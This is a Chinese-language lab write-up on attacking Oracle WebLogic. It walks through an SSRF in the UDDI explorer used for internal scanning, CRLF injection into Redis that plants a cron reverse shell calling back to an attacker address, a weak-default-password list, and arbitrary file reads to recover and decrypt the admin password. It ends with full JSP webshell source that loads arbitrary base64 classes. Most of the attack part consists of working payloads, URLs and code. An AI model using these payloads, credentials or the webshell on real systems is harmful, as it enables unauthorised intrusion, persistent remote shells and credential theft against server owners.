Weblogic SSRF
漏洞描述
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
影响范围
weblogic 版本10.0.2
weblogic 版本10.3.6
漏洞描述
Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了
漏洞复现
知识补充:UDDI Explorer 是 WebLogic Server 中用于管理和查询 UDDI 注册表的一个 Web 应用程序。通过 UDDI Explorer,用户可以浏览、添加、修改和删除 UDDI 注册表中的信息,例如 Web 服务所在的位置和受支持的操作。UDDI Explorer 还允许用户通过 UDDI 注册表搜索 Web 服务,以便将其与环境中的其他组件进行集成。
搭建完成后
http://10.139.10.152:7001/uddiexplorer/,无需登录查看 uddiexplorer 应用。
ssrf测试
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
url+?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://10…139.10.152 探测ip,如果存在
如果不存在的端口显示,所以可以利用这个探测存在的ip和端口。
注入http头,利用redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.3:6379
可以连通:
利用 SSRF 探测内网 redis 是否开放,然后才能写shell
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.139.10.152/4444 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
url编码
%73%65%74%20%31%20%1c%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%33%39%2e%31%30%2e%31%35%32%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%1d%0a%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0a%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0a%0a%73%61%76%65
test%0D%0A%0D%0A 关于为什么要在编码前加这个,对于Weblogic中的SSRF漏洞,如果不加上“%0D%0A”(即“\r\n”)也可以进行攻击。攻击者使用这种方式可以将恶意HTTP请求与合法请求混杂起来,增强攻击的迷惑性和隐蔽性,提高漏洞被检测到的难度。
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave0D%0A%0D%0A%aaa
kali监听4444端口等待反弹成功
补充:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
补充2:cron是计划任务,cron文件是Linux或类Unix操作系统中的一种类型的配置文件,用于指定系统中的计划任务。这些任务可以按照预定时间在后台运行,比如每个小时、每天或每月等时间间隔。常见的系统管理任务包括备份操作、日志清理、数据传输、监控检查等。应急响应中会用到。
weblogic 任意文件读取
1.弱口令
Weblogic版本:10.3.6(11g)
在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell
- weblogic
- Oracle@123
weblogic常用弱口令:
system:password weblogic:weblogic admin:secruity
joe:password mary:password system:sercurity
wlcsystem: wlcsystem weblogic:Oracle@123
弱口令登录成功
2.任意文件读取
本环境存在 任意文件读取漏洞,可利用此漏洞配合解密工具得到登陆密码
登录后台后存在上传点,可上传一句话拿shell。访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件
知识补充:
1.weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;
这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml;
2.SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
http://10.139.10.152:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
用bp抓包查看
知识补充:config.xml文件存储了各种Weblogic资源(包括服务器实例、集群、JDBC数据源、JMS队列、安全角色等)及其属性的信息。这些资源可以在文件中进行添加、修改或删除,以更改Weblogic Server以及其所托管的应用程序的行为和外观。
http://10.139.10.152:7001/hello/file.jsp?path=config/config.xml
在 WebLogic 中,密码通常加密存储以确保其安全性。默认情况下,WebLogic 会使用一个加密工具(wlstencrypt)来生成加密密码,在 config.xml
文件中以 <node-manager-password-encrypted>
形式存储
拿到AES密钥
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
GitHub - TideSec/Decrypt_Weblogic_Password: 搜集了市面上绝大部分weblogic解密方式,整理了7种解密weblogic的方法及响应工具。,或者靶场环境下就有这个软件。
这里面有6种方式,第五种最简单
有了密码之后,登录进去,点击部署
然后再点安装
上载文件
部署——安装——上载文件——选择文件(war包)——下一步——下一步——下一步——完成
shell.jsp压缩为shell.zip然后改后缀为shell.war
shell地址为:http://IP:7001/war包名称/shell名称.jsp
然后蚁🗡连接
附带jsp大马 passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>